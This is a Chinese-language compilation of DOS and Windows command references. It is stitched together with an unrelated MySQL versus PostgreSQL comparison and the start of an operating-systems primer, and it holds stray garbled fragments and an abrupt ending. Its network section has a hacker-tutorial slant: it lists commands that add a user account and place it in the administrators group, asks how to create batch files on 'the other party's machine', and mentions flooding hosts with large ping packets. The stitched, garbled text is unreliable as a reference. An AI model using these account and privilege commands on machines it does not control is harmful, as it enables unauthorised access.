doskey调用和建立DOS宏命令
debug程序调试命令
emm386扩展内存管理
fc文件比较
fdisk硬盘分区
lh/loadhigh将程序装入高端内存
move移动文件,改目录名
more分屏显示
prompt设置提示符
set设置环境变量
smartdrv设置磁盘加速器
setver设置版本
subst路径替换
vol显示指定的磁盘卷标号
xcopy拷贝目录和文件
常用的DOS命令就在这里了,想要成为电脑高手,熟练使用DOS命令是非常必须的。
MS DOS 命令大全
一、基础命令
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“\”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。
2 cd
cd 目录名:进入特定的目录。如果看到有个目录显示为:abcdef ghi 就
输入:cdabcdef.ghi进入该目录。
cd\ 退回到根目录。
cd..退回到上一级目录。
3 md rd
md 目录名:建立特定的文件夹。 (dos下面习惯叫目录,win下面习惯叫文
件夹。呵呵!)
rd 目录名:删除特定的文件夹。
4 cls
清除屏幕。
5 copy
copy 路径\文件名 路径\文件名 :把一个文件拷贝到另一个地方。
6 move
move 路径\文件名 路径\文件名 :把一个文件移动(就是剪切+复制)到另
一个地方。
7 del
del 文件名:删除一个文件。
del *.*:删除当前文件夹下所有文件。
del不能删除文件夹。
8 deltree
删除文件夹和它下面的所有子文件夹还有文件,厉害。。。不要乱用。
9 format
format x: :x代表盘符,格式化一个分区。在dos下是用fat文件系统格式
化的,在windows2000安装的时候会问你要不要转换为ntfs。
10 type
type 文本文件名:显示出文本文件的内容。
11 edit
其实这是个小程序,编辑文本文件用的。
12 ren
ren 旧文件名 新文件名:改文件名。
二、关于网络的常用命令
1 ping
ping 主机ip或名字:向目标主机发送4个icmp数据包,测试对方主机是否收
到并响应,一般常用于做普通网络是否通畅的测试。但是ping不同不代表网
络不通,有可能是目标主机装有防火墙并且阻止了icmp响应。
ping -t :不停的发送数据包。当然都很小,不能称作攻击。有些人自己写
了一些类似于ping命令的程序,不停的发送很大的数据包,以阻塞目标主机
的网络连接。
2 net
建议是用net /?获取具体帮助信息。实在是有很多参数,参数下面还有参
数。常用:net view \\主机 来看共享,net start/stop 服务 来启动和停
止服务,信使服务个人不太喜欢。
3 netstat
netstat 主机:查看主机当前的tcp/ip连接状态,如端口的状态。
4 nbtstat
nbtstat 主机:查看主机使用的NetBIOS name。
5 tracert
tracert 主机:查看从你自己到目标逐机到底经过了那些路径。如:
tracert www.ncie.gov.cn 然后等待。。。就会看到你经过的一个个路由节
点,一般大一点的路由器,如电信的主干路由,除了ip以外,都有英文标示
的。
6 pathping
pathping 主机:类似tracert,但可以显示一些tracert不能显示出来的信
息。可以自己试试。
7 ftp
字符方式的ftp,我喜欢用;)不用装cuteftp了。
8 telnet
字符方式的远程登录程序,是网络人员极其爱用的远程登录程序。我最近常
用来调试邮件服务器。
9 ipconfig 非常有用的网络配置、排错。。。命令。
不加参数显示当前机器的网络接口状态。
/all 先是详细的信息。
/release 释放当前ip。
/renew 重新申请ip。
/flushdns 刷新dns缓存。
/registerdns 重新栽dns服务器上注册自己。
。。。。。。
10 arp 操作当前的arp缓存。
-a 显示arp缓存。
-d 删除一条缓存纪录。
-s 田家一条缓存纪录。
11 nslookup 排除dns错误的利器。是一个交互的工具。使用之前请先努力弄清楚dns的作用以及dns的工作原理。
xcopy是一个外部命令,也就是说,是一个小程序,有的时候会发现软盘上没有,硬盘上也没有。。。昏倒。。。当然勇气来使比copy好用,我喜欢加/e参数。
smartdrv.exe 加载磁盘缓存,参数是缓存的大小,单位是kb。
如:smartdrv 32768 就是加载32M的缓存。
缓存的作用在你安装WIN2K的时候非常明显!不加缓存装WIN2K PRO要3小时左右,加载8M缓存后,只要30分钟。
原理是在内存中划分出一块区域,在安装期间不断地把硬盘上的数据读取到那块缓存区域中,充分利用了内存。
AT和任务计划作用一样。
以下是使用方法,可以通过在命令提示符下面输入:AT /?获得帮助。
AT 命令安排在特定日期和时间运行命令和程序。
要使用 AT 命令,计划服务必须已在运行中。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
\\computername 指定远程计算机。 如果省略这个参数,会计划在本地计算机上运行命令。
\\127.0.0.1代表本机。和不加这个参数意思一样。
id 指定给已计划命令的识别号。
用来识别任务,比如你要添加好几个任务,ID=1就代表第一个喽!
/delete 删除某个已计划的命令。如果省略 id,
计算机上所有已计划的命令都会被删除。
/yes 不需要进一步确认时,跟删除所有作业
的命令一起使用。
time 指定运行命令的时间。
/interactive 允许作业在运行时,与当时登录的用户
桌面进行交互。
/every:date[,...] 每个月或每个星期在指定的日期运行命令。
如果省略日期,则默认为在每月的本日运行。
/next:date[,...] 指定在下一个指定日期(如,下周四)运行命令。
如果省略日期,则默认为在每月的本日运行。
"command" 准备运行的 Windows NT 命令或批处理程序
DOS的常用命令
※ dir
简介: 1:dir/p 分屏幕显示 2: dir/w 只显示文件 不显示大小时间 dir hackp.txt 显示文件
※ cd
简介:cd是英文change directory(改变目录)的缩写,也是最常用的命令之一。顾名思义,如果想要进入一个目录,显然该采用这个命令了。
※ md和rd
简介:md(make directory--创建目录)和rd(remove directory--删除目录)。
※ copy
复制文件,本身复制,到目录或者到其他盘
※ del
简介:del即delete(删除)的缩写,显然它的作用就是“干破坏”删除文件。
※ ren和type
简介:如果想给一个文件改个名字,可以用ren(rename)命令。ren命令的格式是:ren 源文件名 目的文件名。type命令的格式就是:type 文件名。比如说,我想知道abc.txt文件的内容,就从键盘上输入type abc.txt 。
※ format
format命令的格式很简单: 格式化A盘,就是format A:,格式化B盘,就是format B:。
※ diskcopy
diskcopy命令的格式很简单:diskcopy 源驱动器名 目的驱动器名。举个例子来说,如果要在A驱动器上复制磁盘,就输入:diskcopy a: a:
※ deltree和mem
比如有个目录abc需要删除,就拿deltree这个大砍刀试试。输入deltree abc,这时计算机会问你是否真的要删除,键入y后,目录就被删除了。Mem则是看内存的大小
※ chkdsk
chkdsk命令的格式是: chkdsk 磁盘名,例如要检查A盘使用情况,就输入chkdsk A: ,检查c盘使用情况,就输入chkdsk C: ,如果直接输入chkdsk,就检查当前磁盘的使用情况。
※ sys
平常应用时,我们一般用C盘启动,启动后,提示符显示为C: ,但有时我们也需要由A盘来启动,比如,电脑感染了病毒,就要用无毒的软盘启动后,再用杀毒软件杀毒。在正确的设定下,将具有启动功能的软盘插入A驱动器中,电脑启动后,提示符为A: 。那么,我们怎样才能使一张软盘具有启动功能呢? A:>
DOS为制作启动盘专门提供了一条命令,这就是sys命令。sys命令的格式很简单: sys 驱动器名,例如在C盘提示符下输入: sys a:,就是将C盘上的系统文件传输到A盘上,把A驱动器中的磁盘制作成启动盘。如果在A盘启动的情况下, sys c:就是将A盘上的系统文件传输到C盘上。
※ path
讲个例子吧,比如,path=c:\;c:\windows;c:\ 这条命令就是说,当我们执行一个文件时,电脑先在当前目录下查找这个文件,找到则执行,如果没有找到,则电脑按照path命令所指定的目录顺序去查找,先在C盘dos目录下,然后在windows目录下,最后在C盘根目录下寻找这个文件。
※ edit
编辑文件的意思
用DOS,可别不知道DOS在哪里运行,有好几种方法
1.开始菜单---程序---附件---命令提示符
2.开始菜单---运行---打命令CMD
一、常用DOS命令
(1)cd.. cd.. 退到次一级目录
cd\ cd\ 退到根目录下的意思
cd 文件夹名字 cd windows 进入WINDOWS目录
(2)md 文件夹名字 md win 建立名为win的文件夹
(3)rd 文件夹名字 rd win 删除名为win的文件夹
(前提是win里没有任何文件)
(4)copy 路径下文件 目标路径 copy C:\1\mima.txt C:\2\ 拷贝文件
(5)del 目标路径下文件 del C:\1\3\TCP.txt 删除文件
del c:\1 删除c盘1目录所有文件 看见没mima.txt被删除了 但是3这个文件夹还没删除
只是文件不会删除ghost里
其他文件夹里的东西。
(6)dir 文件夹名字或盘符 dir c:\windows 查看C盘windows里目录文件
----------------------------------------------------------------------------
│dir/W:宽屏显示,一排显示5个文件名,而不会显示修改时间,文件大小等信息;│
│dir/S:显示当前目录及其子目录下所有的文件, │
│dir/a 查看所有文件包括隐藏文件 dir c:\windows /a │
│dir/p 分页查看 这里的很实用的,大家一定要自己试试 │
-----------------------------------------------------------------------------
(为了节省大家的时间,方框里面的我就不介绍了,大家自己试试)
(7)format 盘符 格式化硬盘 (这个我就不演示了.你问我为什么,汉.........我心疼我的硬盘^_^)
(8)ren 文件名 文件名 改名 ren 1.bat 2.bat 将1.bat改名为2.bat 这几个文件我还没创建,现在我们创建一下,好了
(9)type 文件名 查看文件内容(一般用来看bat或txt文件)
(10)cls 清屏(没多大用)
二、常用网络DOS命令
(11)fport 查看系统端口和端口上运行的程序 这个命令我也不知道怎么了,等我查一下用法,发到论坛上,不好意思,
(12)netstat -an 查看所有连接本机IP
(13)ipconfig /all 查看所有连接本机IP
(14)telnet IP 端口 连接对方机器某个端口
(15)net user 查看本机用户
net user 用户名 密码 /add 建立一个用户
net user 用户名 /del 删除一个用户
(16)net localgroup administrators 用户名 /add 把用户添加到管理员
net localgroup administrators 用户名 /del 把用户从管理员组删除
这个就不用演示了,和上面 的一样
三、批处理文件
批处理。就是批量处理多条命令的文件。
后缀为bat
内容可以自己编辑多条dos命令。他会按照顺序自动运行。
(17)怎样在对方机器DOS窗口下建立批处理文件?
copy con 文件名.bat
C:\>cd 2
C:\2>dir 这就是我刚才打的命令
(省略号代表命令)
CTRL+Z 存盘退出
这样一个bat文件也就做好了。我们执行一下
四、其它命令
(18)mem--查看你的计算机内存有多少,以及内存的使用情况
(19)time--显示和设置DOS的系统时间 Enter the new time: 意思是设置时间,我们按回车就可以跳过去了
(20)date--显示和设置DOS的系统日期 用法和time命令一样
(21)ver--显示正在运行的DOS系统版本号
怎么样不多吧!呵呵!
相信我能帮上你的忙!
DOS常用命令详解
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
copy 拷贝文件 diskcopy 复制磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 rd 删除目录
sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
不常用DOS命令
diskcomp磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
常用命令具体介绍:
一、Dir
显示目录文件和子目录列表,呵呵,这个当然是人人要知道的。
可以使用通配符(? 和 *),?表通配一个字符,*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏,请按键盘上的任意键。
/w
以宽格式显示列表,在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt,包括子目录下文件。
二、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用,则 attrib 会显示当前目录中所有文件的属性。
+r 设置只读属性。
-r 清除只读属性。
+a 设置存档文件属性。
-a 清除存档文件属性。
+s 设置系统属性。
-s 清除系统属性。
+h 设置隐藏属性。
-h 清除隐藏属性。
三、Cls
清除显示在命令提示符窗口中的所有信息,并返回空窗口,即“清屏”
四、Exit
退出当前命令解释程序并返回到系统。
五、format
格式化
/q 执行快速格式化。删除以前已格式化卷的文件表和根目录,但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
六、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all 显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg,后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
七、md 创建目录或子目录
八、Move 将一个或多个文件从一个目录移动到指定的目录。
九、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress 显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
十、Netstat 显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
-a 显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
十一、Ping 通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数,ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t 指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按 CTRL-BREAK。要中断并退出 ping,请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名称。 例如 ren *.abc *.cba
十三、Set 显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。
十四、Shutdown 允许您关闭或重新启动本地或远程计算机。如果没有使用参数,shutdown 将注销当前用户。
-m ComputerName 指定要关闭的计算机。
-t xx 将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l 注销当前用户,这是默认设置。-m ComputerName 优先。
-s 关闭本地计算机。
-r 关闭之后重新启动。
-a 中止关闭。除了 -l 和 ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。
十五、System File Checker (sfc)
win下才有,在重新启动计算机后扫描和验证所有受保护的系统文件。
/scannow 立即扫描所有受保护的系统文件。
/scanonce 一次扫描所有受保护的系统文件。
/purgecache 立即清除“Windows 文件保护”文件高速缓存,并扫描所有受保护的系统文件。
/cachesize=x 设置“Windows 文件保护”文件高速缓存的大小,以 MB 为单位。
十六、type 显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree 图像化显示路径或驱动器中磁盘的目录结构。
十八、Xcopy 复制文件和目录,包括子目录。
/s 复制非空的目录和子目录。如果省略 /s,xcopy 将在一个目录中工作。
/e 复制所有子目录,包括空目录。
十九、copy 将一个或多个文件从一个位置复制到其他位置
二十、del 删除指定文件。
ftp和bat批命令和net和telnet由于子命令太多,这里不说了,不过这几个都是常用到的。
适配器编号>
检测项目>
主机列表文件名>
检测项目>
终止ip>
起始ip>
有用PostgreSQL的吗,哪个package好用一些
特性 MySQL PostgreSQL
实例 通过执行 MySQL 命令(mysqld)启动实例。一个实例可以管理一个或多个数据库。一台服务器可以运行多个 mysqld 实例。一个实例管理器可以监视 mysqld 的各个实例。
通过执行 Postmaster 进程(pg_ctl)启动实例。一个实例可以管理一个或多个数据库,这些数据库组成一个集群。集群是磁盘上的一个区域,这个区域在安装时初始化并由一个目录组成,所有数据都存储在这个目录中。使用 initdb 创建第一个数据库。一台机器上可以启动多个实例。
数据库 数据库是命名的对象集合,是与实例中的其他数据库分离的实体。一个 MySQL 实例中的所有数据库共享同一个系统编目。 数据库是命名的对象集合,每个数据库是与其他数据库分离的实体。每个数据库有自己的系统编目,但是所有数据库共享 pg_databases。
数据缓冲区 通过 innodb_buffer_pool_size 配置参数设置数据缓冲区。这个参数是内存缓冲区的字节数,InnoDB 使用这个缓冲区来缓存表的数据和索引。在专用的数据库服务器上,这个参数最高可以设置为机器物理内存量的 80%。 Shared_buffers 缓存。在默认情况下分配 64 个缓冲区。默认的块大小是 8K。可以通过设置 postgresql.conf 文件中的 shared_buffers 参数来更新缓冲区缓存。
数据库连接 客户机使用 CONNECT 或 USE 语句连接数据库,这时要指定数据库名,还可以指定用户 id 和密码。使用角色管理数据库中的用户和用户组。 客户机使用 connect 语句连接数据库,这时要指定数据库名,还可以指定用户 id 和密码。使用角色管理数据库中的用户和用户组。
身份验证 MySQL 在数据库级管理身份验证。 基本只支持密码认证。 PostgreSQL 支持丰富的认证方法:信任认证、口令认证、Kerberos 认证、基于 Ident 的认证、LDAP 认证、PAM 认证
加密 可以在表级指定密码来对数据进行加密。还可以使用 AES_ENCRYPT 和 AES_DECRYPT 函数对列数据进行加密和解密。可以通过 SSL 连接实现网络加密。 可以使用 pgcrypto 库中的函数对列进行加密/解密。可以通过 SSL 连接实现网络加密。
审计 可以对 querylog 执行 grep。 可以在表上使用 PL/pgSQL 触发器来进行审计。
查询解释 使用 EXPLAIN 命令查看查询的解释计划。 使用 EXPLAIN 命令查看查询的解释计划。
备份、恢复和日志 InnoDB 使用写前(write-ahead)日志记录。支持在线和离线完全备份以及崩溃和事务恢复。需要第三方软件才能支持热备份。 在数据目录的一个子目录中维护写前日志。支持在线和离线完全备份以及崩溃、时间点和事务恢复。 可以支持热备份。
JDBC 驱动程序 可以从 参考资料 下载 JDBC 驱动程序。 可以从 参考资料 下载 JDBC 驱动程序。
表类型 取决于存储引擎。例如,NDB 存储引擎支持分区表,内存引擎支持内存表。 支持临时表、常规表以及范围和列表类型的分区表。不支持哈希分区表。 由于PostgreSQL的表分区是通过表继承和规则系统完成了,所以可以实现更复杂的分区方式。
索引类型 取决于存储引擎。MyISAM:BTREE,InnoDB:BTREE。 支持 B-树、哈希、R-树和 Gist 索引。
约束 支持主键、外键、惟一和非空约束。对检查约束进行解析,但是不强制实施。 支持主键、外键、惟一、非空和检查约束。
存储过程和用户定义函数 支持 CREATE PROCEDURE 和 CREATE FUNCTION 语句。存储过程可以用 SQL 和 C++ 编写。用户定义函数可以用 SQL、C 和 C++ 编写。 没有单独的存储过程,都是通过函数实现的。用户定义函数可以用 PL/pgSQL(专用的过程语言)、PL/Tcl、PL/Perl、PL/Python 、SQL 和 C 编写。
触发器 支持行前触发器、行后触发器和语句触发器,触发器语句用过程语言复合语句编写。 支持行前触发器、行后触发器和语句触发器,触发器过程用 C 编写。
系统配置文件 my.conf Postgresql.conf
数据库配置 my.conf Postgresql.conf
客户机连接文件 my.conf pg_hba.conf
XML 支持 有限的 XML 支持。 有限的 XML 支持。
数据访问和管理服务器 OPTIMIZE TABLE —— 回收未使用的空间并消除数据文件的碎片
myisamchk -analyze —— 更新查询优化器所使用的统计数据(MyISAM 存储引擎)
mysql —— 命令行工具
MySQL Administrator —— 客户机 GUI 工具 Vacuum —— 回收未使用的空间
Analyze —— 更新查询优化器所使用的统计数据
psql —— 命令行工具
pgAdmin —— 客户机 GUI 工具
并发控制 支持表级和行级锁。InnoDB 存储引擎支持 READ_COMMITTED、READ_UNCOMMITTED、REPEATABLE_READ 和 SERIALIZABLE。使用 SET TRANSACTION ISOLATION LEVEL 语句在事务级设置隔离级别。 支持表级和行级锁。支持的 ANSI 隔离级别是 Read Committed(默认 —— 能看到查询启动时数据库的快照)和 Serialization(与 Repeatable Read 相似 —— 只能看到在事务启动之前提交的结果)。使用 SET TRANSACTION 语句在事务级设置隔离级别。使用 SET SESSION 在会话级进行设置。
MySQL相对于PostgreSQL的劣势:
MySQL
PostgreSQL
最重要的引擎InnoDB很早就由Oracle公司控制。目前整个MySQL数据库都由Oracle控制。
BSD协议,没有被大公司垄断。
对复杂查询的处理较弱,查询优化器不够成熟
很强大的查询优化器,支持很复杂的查询处理。
只有一种表连接类型:嵌套循环连接(nested-loop),不支持排序-合并连接(sort-merge join)与散列连接(hash join)。
都支持
性能优化工具与度量信息不足
提供了一些性能视图,可以方便的看到发生在一个表和索引上的select、delete、update、insert统计信息,也可以看到cache命中率。网上有一个开源的pgstatspack工具。
InnoDB的表和索引都是按相同的方式存储。也就是说表都是索引组织表。这一般要求主键不能太长而且插入时的主键最好是按顺序递增,否则对性能有很大影响。
不存在这个问题。
大部分查询只能使用表上的单一索引;在某些情况下,会存在使用多个索引的查询,但是查询优化器通常会低估其成本,它们常常比表扫描还要慢。
不存在这个问题
表增加列,基本上是重建表和索引,会花很长时间。
表增加列,只是在数据字典中增加表定义,不会重建表
存储过程与触发器的功能有限。可用来编写存储过程、触发器、计划事件以及存储函数的语言功能较弱
除支持pl/pgsql写存储过程,还支持perl、python、Tcl类型的存储过程:pl/perl,pl/python,pl/tcl。
也支持用C语言写存储过程。
不支持Sequence。
支持
不支持函数索引,只能在创建基于具体列的索引。
不支持物化视图。
支持函数索引,同时还支持部分数据索引,通过规则系统可以实现物化视图的功能。
执行计划并不是全局共享的, 仅仅在连接内部是共享的。
执行计划共享
MySQL支持的SQL语法(ANSI SQL标准)的很小一部分。不支持递归查询、通用表表达式(Oracle的with 语句)或者窗口函数(分析函数)。
都 支持
不支持用户自定义类型或域(domain)
支持。
对于时间、日期、间隔等时间类型没有秒以下级别的存储类型
可以精确到秒以下。
身份验证功能是完全内置的,不支持操作系统认证、PAM认证,不支持LDAP以及其它类似的外部身份验证功能。
支持OS认证、Kerberos 认证 、Ident 的认证、LDAP 认证、PAM 认证
不支持database link。有一种叫做Federated的存储引擎可以作为一个中转将查询语句传递到远程服务器的一个表上,不过,它功能很粗糙并且漏洞很多
有dblink,同时还有一个dbi-link的东西,可以连接到oracle和mysql上。
Mysql Cluster可能与你的想象有较大差异。开源的cluster软件较少。
复制(Replication)功能是异步的,并且有很大的局限性.例如,它是单线程的(single-threaded),因此一个处理能力更强的Slave的恢复速度也很难跟上处理能力相对较慢的Master.
有丰富的开源cluster软件支持。
explain看执行计划的结果简单。
explain返回丰富的信息。
类似于ALTER TABLE或CREATE TABLE一类的操作都是非事务性的.它们会提交未提交的事务,并且不能回滚也不能做灾难恢复
DDL也是有事务的。
PostgreSQL主要优势:
1. PostgreSQL完全免费,而且是BSD协议,如果你把PostgreSQL改一改,然后再拿去卖钱,也没有人管你,这一点很重要,这表明了PostgreSQL数据库不会被其它公司控制。oracle数据库不用说了,是商业数据库,不开放。而MySQL数据库虽然是开源的,但现在随着SUN被oracle公司收购,现在基本上被oracle公司控制,其实在SUN被收购之前,MySQL中最重要的InnoDB引擎也是被oracle公司控制的,而在MySQL中很多重要的数据都是放在InnoDB引擎中的,反正我们公司都是这样的。所以如果MySQL的市场范围与oracle数据库的市场范围冲突时,oracle公司必定会牺牲MySQL,这是毫无疑问的。
2. 与PostgreSQl配合的开源软件很多,有很多分布式集群软件,如pgpool、pgcluster、slony、plploxy等等,很容易做读写分离、负载均衡、数据水平拆分等方案,而这在MySQL下则比较困难。
3. PostgreSQL源代码写的很清晰,易读性比MySQL强太多了,怀疑MySQL的源代码被混淆过。所以很多公司都是基本PostgreSQL做二次开发的。
4. PostgreSQL在很多方面都比MySQL强,如复杂SQL的执行、存储过程、触发器、索引。同时PostgreSQL是多进程的,而MySQL是线程的,虽然并发不高时,MySQL处理速度快,但当并发高的时候,对于现在多核的单台机器上,MySQL的总体处理性能不如PostgreSQL,原因是MySQL的线程无法充分利用CPU的能力。
目前只想到这些,以后想到再添加,欢迎大家拍砖。
PostgreSQL与oracle或InnoDB的多版本实现的差别
PostgreSQL与oracle或InnoDB的多版本实现最大的区别在于最新版本和历史版本是否分离存储,PostgreSQL不分,而oracle和InnoDB分,而innodb也只是分离了数据,索引本身没有分开。
PostgreSQL的主要优势在于:
1. PostgreSQL没有回滚段,而oracle与innodb有回滚段,oracle与Innodb都有回滚段。对于oracle与Innodb来说,回滚段是非常重要的,回滚段损坏,会导致数据丢失,甚至数据库无法启动的严重问题。另由于PostgreSQL没有回滚段,旧数据都是记录在原先的文件中,所以当数据库异常crash后,恢复时,不会象oracle与Innodb数据库那样进行那么复杂的恢复,因为oracle与Innodb恢复时同步需要redo和undo。所以PostgreSQL数据库在出现异常crash后,数据库起不来的几率要比oracle和mysql小一些。
2. 由于旧的数据是直接记录在数据文件中,而不是回滚段中,所以不会象oracle那样经常报ora-01555错误。
3. 回滚可以很快完成,因为回滚并不删除数据,而oracle与Innodb,回滚时很复杂,在事务回滚时必须清理该事务所进行的修改,插入的记录要删除,更新的记录要更新回来(见row_undo函数),同时回滚的过程也会再次产生大量的redo日志。
4. WAL日志要比oracle和Innodb简单,对于oracle不仅需要记录数据文件的变化,还要记录回滚段的变化。
PostgreSQL的多版本的主要劣势在于:
1、最新版本和历史版本不分离存储,导致清理老旧版本需要作更多的扫描,代价比较大,但一般的数据库都有高峰期,如果我们合理安排VACUUM,这也不是很大的问题,而且在PostgreSQL9.0中VACUUM进一步被加强了。
2、由于索引中完全没有版本信息,不能实现Coverage index scan,即查询只扫描索引,直接从索引中返回所需的属性,还需要访问表。而oracle与Innodb则可以;
进程模式与线程模式的对比
PostgreSQL和oracle是进程模式,MySQL是线程模式。
进程模式对多CPU利用率比较高。
进程模式共享数据需要用到共享内存,而线程模式数据本身就是在进程空间内都是共享的,不同线程访问只需要控制好线程之间的同步。
线程模式对资源消耗比较少。
所以MySQL能支持远比oracle多的更多的连接。
对于PostgreSQL的来说,如果不使用连接池软件,也存在这个问题,但PostgreSQL中有优秀的连接池软件软件,如pgbouncer和pgpool,所以通过连接池也可以支持很多的连接。
堆表与索引组织表的的对比
Oracle支持堆表,也支持索引组织表
PostgreSQL只支持堆表,不支持索引组织表
Innodb只支持索引组织表
索引组织表的优势:
表内的数据就是按索引的方式组织,数据是有序的,如果数据都是按主键来访问,那么访问数据比较快。而堆表,按主键访问数据时,是需要先按主键索引找到数据的物理位置。
索引组织表的劣势:
索引组织表中上再加其它的索引时,其它的索引记录的数据位置不再是物理位置,而是主键值,所以对于索引组织表来说,主键的值不能太大,否则占用的空间比较大。
对于索引组织表来说,如果每次在中间插入数据,可能会导致索引分裂,索引分裂会大大降低插入的性能。所以对于使用innodb来说,我们一般最好让主键是一个无意义的序列,这样插入每次都发生在最后,以避免这个问题。
由于索引组织表是按一个索引树,一般它访问数据块必须按数据块之间的关系进行访问,而不是按物理块的访问数据的,所以当做全表扫描时要比堆表慢很多,这可能在OLTP中不明显,但在数据仓库的应用中可能是一个问题。
PostgreSQL9.0中的特色功能:
PostgreSQL中的Hot Standby功能
也就是standby在应用日志同步时,还可以提供只读服务,这对做读写分离很有用。这个功能是oracle11g才有的功能。
PostgreSQL异步提交(Asynchronous Commit)的功能:
这个功能oracle中也是到oracle11g R2才有的功能。因为在很多应用场景中,当宕机时是允许丢失少量数据的,这个功能在这样的场景中就特别合适。在PostgreSQL9.0中把synchronous_commit设置为false就打开了这个功能。需要注意的是,虽然设置为了异步提交,当主机宕机时,PostgreSQL只会丢失少量数据,异步提交并不会导致数据损坏而数据库起不来的情况。MySQL中没有听说过有这个功能。
PostgreSQL中索引的特色功能:
PostgreSQL中可以有部分索引,也就是只能表中的部分数据做索引,create index 可以带where 条件。同时PostgreSQL中的索引可以反向扫描,所以在PostgreSQL中可以不必建专门的降序索引了。
计算机操作系统到底学的是什么
计算机操作系统是计算机系统中硬件之上的第一层系统软件,负责计算机系统中各类资源的管理和控制。
计算机操作系统到底学的内容有:
系统中所有的信息,包括磁盘文件、存储器中的程序、存储器中存放的用户数据以及网络上传输的数据,都是由一串位表示的,区分不同对象的唯一方法就是我们都到这些数据对象时的上下文。
程序的生命周期都是从高级语言(如C语言)开始的,因为这种形式能够被人读懂,但是为了在系统中运行程序,每条高级语言源程序都必须被其他程序转化为一系列的低级机器语言指令,然后这写指令按照一种称为可执行目标程序的格式打包好,并且以二进制磁盘文件的形式存放起来,目标程序也称为可执行目标文件。
将一个源程序翻译成可执行目标文件,翻译过程可以分为4个阶段:预处理、编译、汇编、链接。
A、预处理,预处理器根据以字符#开头的指令,修改原始的程序,比如:#include
。
B、编译,编译器将预处理得到的文本文件翻译成汇编语言的文本文件。
C、汇编,汇编器汇编语言的文本文件翻译成机器语言指令,并且把这些指令打包成可重定位目标程序的格式,并且将结果以二进制的形式保存在.o文件中,它的字节编码是机器指令不是字符,所以文本编辑器打开是乱码。
